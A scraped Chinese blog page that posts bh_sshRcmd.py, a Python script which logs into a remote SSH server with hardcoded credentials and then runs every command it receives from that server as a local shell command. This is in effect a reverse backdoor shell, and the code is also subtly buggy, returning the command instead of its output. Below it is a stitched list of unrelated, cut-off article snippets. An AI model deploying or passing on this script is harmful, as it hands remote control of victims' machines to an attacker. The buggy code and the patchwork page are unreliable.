python 里面的 ssh 里面的bh_sshRcmd.py

import threading
import paramiko
import subprocess
def ssh_command(ip,user,passwd,command):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip,username=user,password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.send(command)
        print ssh_session.recv(1024)
        while True:
            command = ssh_session.recv(1024)
            try:
                cmd_output = subprocess.check_output(command,shell=True)
                ssh_session.send(command)
            except Exception ,e:
                ssh_session.send(str(e))
        client.close()
    return
ssh_command(‘192.168.100.100‘,‘justin‘,‘lovesthepython‘,‘ClientConnectd‘)
时间: 2024-10-12 03:41:28

python 里面的 ssh 里面的bh_sshRcmd.py的相关文章

Python随机播放电脑里的音乐

就是找到硬盘中所有的MP3文件和wma文件,再随机打开其中的一个. import os,random disk=['D','E','F','G','H'] def search_file(filename,search_path,pathsep=os.pathsep): for path in search_path.split(pathsep): candidate = os.path.join(path,filename) if os.path.isfile(candidate): retu

[Python Fabric] [SSH] Mac OS X 10.9 + Vagrant虚拟环境使用Python Fabric进行SSH远程登录的简单实验

1. ssh客户端生成key 1 $ ssh-keygen -t rsa -b 4096 2 Generating public/private rsa key pair. 3 Enter file in which to save the key (/Users/(username)/.ssh/id_rsa): vagrantid_rsa 4 Enter passphrase (empty for no passphrase): 5 Enter same passphrase again: 6

一个文件中有40亿个整数,每个整数为四个字节,内存为1GB,写出一个算法:求出这个文件里的整数里不包含的一个整数

4个字节表示的整数,总共只有2^32约等于4G个可能.为了简单起见,可以假设都是无符号整数.分配500MB内存,每一bit代表一个整数,刚好可以表示完4个字节的整数,初始值为0.基本思想每读入一个数,就把它对应的bit位置为1,处理完40G个数后,对500M的内存遍历,找出一个bit为0的位,输出对应的整数就是未出现的.算法流程:1)分配500MB内存buf,初始化为02)unsigned int x=0x1;  for each int j in file  buf=buf|x<<j;  e

PYTHON学习之SSH登录与下发命令

PYTHON学习之SSH登录(以LINUX为例): PYTHON中有两个模块可以实现SSH登录并下发命令行: PEXPECT 1.安装第三方模块: easy_install pexpect 2.PEXPECT 实现SSH登录及下发命令: 3.本次进行的是人机交互测试方式:测试结果: PARAMIKO 1.安装第三方模块: easy_install paramiko 2.paramiko 实现SSH登录及下发命令: 3.测试结果:

济南-地点-文创-宽厚里:宽厚里

ylbtech-济南-地点-文创-宽厚里:宽厚里 宽厚里(Shimao Kuanhouli Jinan),又称济南宽厚里.世茂宽厚里,位于济南市泉城路核心地段,老济南的宽厚所街,是世茂股份为延续老济南建筑.民俗的传统语汇,于城市中心打造茂与街对话.河与市共享,河与城呼应.泉与水融合.历史与现代交融的齐鲁大地百年历史街区. 1.返回顶部 1. 中文名:宽厚里 外文名:Shimao Kuanhouli Jinan 别    名:济南宽厚里.世茂宽厚里 地    址:山东省济南市历下区泉城路街道 开发

Mac中python的安装路径 Django 的 django-admin.py添加环境变量

Mac下python的安装路径 Mac自带python路径 /System/Library/Frameworks/Python.framework/Versions 系统 pip 安装的第三方库的安装路径: /System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python Mac中自己安装的python3.6的路径 /Library/Frameworks/Python.framework/Versions/3.6

[python]如何理解uiautomator里面的 child, child_by_text, sibling,及使用场景

如何理解uiautomator里面的 child, child_by_text, sibling,我们借助android原生的uiautomatorviewer抓取的控件来进行理解 以如下图进行详细讲解(左边与右边的通过不同颜色进行圈起来,表示了这些控件的归属关系),例如红圈部分为一个父类,投影绿圈和黄圈均为它的子类(称为child),而绿圈和黄圈属于同级别关系,则可以理解为兄弟关系(称为sibling) 比如要点击"Navigation bar hide"的开关进行打开或者关闭,则代

Git里面的SSH

背景: 最近使用了BitBucket作为远程仓库管理代码,因每次push代码的时候都需要输入账号密码,它们提供了SSH协议使push代码不需要再输入账号密码. 如何使用: 一台机子只需要在~/.ssh生成一个私钥一个公钥即可,然后将你的公钥上传到BitBucket,如果有其他人想上传代码,则把他的公钥上传至BitBucket即可,应该是这样.另外,如果有要求输入SSH的id_rsa的密码的对话框,直接输入空即可. 生成SSH Key: 1.终端输入:ssh-keygen 2.询问你生成的Key保

随select动,将value值显示在后面的input里

<!doctype html><html lang="en"> <head> <meta charset="UTF-8"> <script src="https://cdn.jsdelivr.net/npm/jquery@1.12.4/dist/jquery.min.js"></script> <title>Document</title> </